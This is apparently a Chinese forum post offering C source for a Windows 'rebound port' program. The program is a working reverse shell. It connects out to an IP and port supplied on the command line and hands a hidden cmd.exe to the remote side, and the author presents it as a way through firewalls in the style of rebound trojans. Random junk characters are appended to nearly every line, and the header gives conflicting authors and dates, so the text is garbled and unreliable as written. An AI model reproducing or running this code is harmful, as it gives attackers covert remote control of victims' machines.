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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Dh|8$(Jt  
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/* ============================== NK+iLXC  
Rebound port in Windows NT p}NIZ)]$  
By wind,2006/7 QX'/PO  
===============================*/ 8L<GAe  
#include 7usf^g[dh  
#include "[(I*  
5/v@VUzH  
#pragma comment(lib,"wsock32.lib") #eT{?_wM  
'o2x7~C@  
void OutputShell(); ~',<7eW  
SOCKET sClient; 6XO%l0dC.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gekW&tRie  
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void main(int argc,char **argv) :*"0o{ ie  
{ ~)#JwY  
WSADATA stWsaData; sSC yjS'T  
int nRet; zUqt^_  
SOCKADDR_IN stSaiClient,stSaiServer;  Yq.Cz:>b  
qsUlfv9L6  
if(argc != 3) [e+"G <>  
{ VGY#ph%  
printf("Useage:\n\rRebound DestIP DestPort\n"); E3\O?+ h#  
return; 3 n/U4fn_  
} 42?X)n>  
t>h<XPJi  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^<R*7mB*  
-So&?3,\A@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }MDuQP]  
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stSaiClient.sin_family = AF_INET; m?G}%u  
stSaiClient.sin_port = htons(0); h:3`e`J<h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =~% B}T  
/I3#WUc;![  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0sq1SHI{  
{ Cyxt EzPp  
printf("Bind Socket Failed!\n"); :Xv3< rS<  
return; 6|m1z  
} %Ysu613mz  
c xdhG"  
stSaiServer.sin_family = AF_INET; u2^ oXl  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?w1_.m|8u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AA9OElCa  
BYN<|=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '}*5ee](S  
{ L=Q- r[  
printf("Connect Error!"); >De\2gbJ  
return; 4w^B&e%  
} 12aAO|]/~  
OutputShell(); wHk4BWg-  
} |n3PznV  
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void OutputShell() p%CAicn  
{ 3uCC_Am  
char szBuff[1024]; B2%)G$B  
SECURITY_ATTRIBUTES stSecurityAttributes; LbtcZ)D!  
OSVERSIONINFO stOsversionInfo; B3u5EgZr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;"\e aKl  
STARTUPINFO stStartupInfo; OB8fFd  
char *szShell; l}%!&V0  
PROCESS_INFORMATION stProcessInformation; ZVJbpn<lo)  
unsigned long lBytesRead; X%xX3e'  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UXoaUW L  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EkM?Rs  
stSecurityAttributes.lpSecurityDescriptor = 0; 8Vv"'CU#  
stSecurityAttributes.bInheritHandle = TRUE; H=z@!rJc.  
@"-<m|lM  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oL#^=vid"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qr$=oCqa  
zuWj@YG\.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;_M .(8L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R~CQ=KQ.  
stStartupInfo.wShowWindow = SW_HIDE; Ttb @98  
stStartupInfo.hStdInput = hReadPipe; |]HU$Gt S  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =;0#F&  
"{&\nt  
GetVersionEx(&stOsversionInfo); M5HKRLt  
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switch(stOsversionInfo.dwPlatformId) P49lE  
{ ^6mlE+WY  
case 1: [ECSJc&i  
szShell = "command.com"; $:s1x\ol  
break; `&b 8wF  
default: |! i3Y=X  
szShell = "cmd.exe"; y. @7aT5  
break; R{\vOw:*  
} :Sk0?WU  
`+1+0?9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Pon 2!$  
1]aM)},  
send(sClient,szMsg,77,0); u1/4WYJeJ  
while(1) )}hp[*C  
{ BhLYLlXPY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F(^vD_G  
if(lBytesRead) wo$9$~(  
{ VZ'[\3J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mS6 #\'Qa  
send(sClient,szBuff,lBytesRead,0); Dr$k6kZ}'U  
} Zk"'x,]#  
else [!,&A{.!  
{ X,:^})]  
lBytesRead=recv(sClient,szBuff,1024,0); AcyiP   
if(lBytesRead<=0) break; /+.Bc(`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q}d6+C  
} IkFrzw p  
} >K1)XP  
W~aVwO'(  
return; g2JNa?z  
}
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